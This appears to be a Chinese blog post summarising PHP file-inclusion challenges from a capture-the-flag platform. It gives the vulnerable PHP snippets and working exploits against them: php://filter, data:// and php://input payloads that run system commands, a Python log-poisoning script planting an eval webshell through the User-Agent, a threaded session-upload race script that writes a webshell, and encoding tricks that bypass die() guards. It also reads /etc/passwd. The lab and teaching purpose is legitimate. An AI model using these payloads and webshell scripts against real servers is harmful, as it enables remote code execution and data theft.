您现在的位置是:首页 >学无止境 >文件包含总结网站首页学无止境
文件包含总结
目录
1.3过滤了PHP,data,:,.这是后考虑session web82-83
1.5 get和post,file_put_content的组合
1.6对“/php|~|!|@|#|\$|\%|^|&|*|(|)|-|\_|+|=|./i”进行过滤
1.7/http|https|data|input|rot13|base64|string|log|sess/i
1.8 /http|https|data|input|rot13|base64|string|log|sess/i,绕过死亡代码die()
1.1、常见过滤
1、包含
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);2、将php替换为???
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);3、将php和data替换为???
i f(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);4、将php和data替换为???
f(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);
include($file);
常用3个payload
1、?file=php://filter/convert.base64-encode/resource=flag.php
2、?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
3、构建/?file=Php://input
post: <?php system("tac fl0g.php")?>
1.2以下通杀前面三个
web81
import requests
#【引入库】
url = "http://06040b54-48a5-4844-ae5c-630866bbc570.challenge.ctf.show/" + "?file=/var/log/nginx/access.log"
#【目标的url,较访问日志文件】
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0<?php @eval($_POST[dotast]);?>'
}
#【身份识别,防止UA反爬机制】
data = {
'dotast': 'system("cat fl0g.php");'
}
#【插进的数据,运行】
req = requests.get(url=url, headers=headers)
#【返回值post和get类型】
result = requests.post(url=url, data=data)
print(result.text)
1.3过滤了PHP,data,:,.这是后考虑session web82-83
import io
import requests
import threading
url = 'http://38a04b8e-29d8-4742-893e-5780de71e5ad.challenge.ctf.show/'
sessionid='ctfshow'
data={
"1":"file_put_contents('/var/www/html/1.php','<?php eval($_POST[2]);?>');"
}
def write(session):
fileBytes=io.BytesIO(b'a' * 1024 * 50)
while True:
response=session.post(
url=url,
data={
'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'
},
cookies={
'PHPSESSID':sessionid
},
files={
'file':('ctfshow.jpg',fileBytes)
}
)
def read(session):
while True:
response = session.post(url+'?file=/tmp/sess_'+sessionid,data=data,
cookies={
'PHPSESSID':sessionid
}
)
response2=session.get(url+'1.php')
if response2.status_code==200:
print('++++++++++++done++++++++++++')
else:
print(response2.status_code)
if __name__ == '__main__':
evnet=threading.Event()
with requests.session() as session:
for i in range(5):
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
threading.Thread(target=read,args=(session,)).start()
evnet.set()
1.4下面是条件竞争的文件包含题目
web82
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{web83
session_unset();
session_destroy();if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);include($file);
web84
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
web85if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}web86
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
1.5 get和post,file_put_content的组合
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
众所周知,base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。所以,当$content被加上了<?php die('大佬别秀了');?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符 <、?、;、>、空格、汉字 等字符不符合base64编码的字符范围将被忽略,所以最终被解码出来的的字符就变成 “phpdie” 和 我们传入的$content的值。
“phpdie”一共6个字符,因为base64算法解码时是4个byte一组,所以给它增加2个“a”一共8个字符。这样,"phpdieaa"就可以被正常解码,而后面我们传入的webshell的base64内容也被正常解码
————————————————
GET传参:
?file=php://filter/convert.base64-decode/resource=2.php
进行url全编码↓
?file=%70%68%70%3A%2F%2F%66%69%6C%74%65%72%2F%63%6F%6E%76%65%72%74%2E%62%61%73%65%36%34%2D%64%65%63%6F%64%65%2F%72%65%73%6F%75%72%63%65%3D%32%2E%70%68%70
进行url编码 ↓
?file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2532%252e%2570%2568%2570POST传参:
content=<?php system('cat f*.php');?>
进行base64编码 ↓
content=PD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk7Pz4
前面要加两个字符a
content=aaPD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk7Pz4访问2.php
1.6对“/php|~|!|@|#|\$|\%|^|&|*|(|)|-|\_|+|=|./i
”进行过滤
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|~|!|@|#|\$|\%|^|&|*|(|)|-|\_|+|=|./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}发现过滤的还是比较多,但是没有过滤: ,那我们就可以使用PHP伪协议就是 这里使用的是 data://text/plain;base64,poc 其实和79差不多 只是注意的是编码成base64的时候要去掉 =,因为过滤了=
把 <?php system(“cat fl0g.php”); 加密–>PD9waHAg3lzdGVtKCJjYXQgZmwwZy5waHAiKTs=,然后去掉=
————————————————?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmwwZy5waHAiKTs
1.7/http|https|data|input|rot13|base64|string|log|sess/i
?file=/etc/passwd
能够正常读取,试了一下读取
/var/www/html/flag.php
成功下载flag文件,得到flag。
1.8 /http|https|data|input|rot13|base64|string|log|sess/i,绕过死亡代码die()
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
和web87差不多,绕过死亡代码die(),但是过滤了base64,那我们换一种编码方式不就得了
PHP: 支持的字符编码 - Manual
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=2.php
contents=?<hp pe@av(l_$OPTSa[aa]a;)>?然后访问2.php
post
aaaa=system("tac flag.php");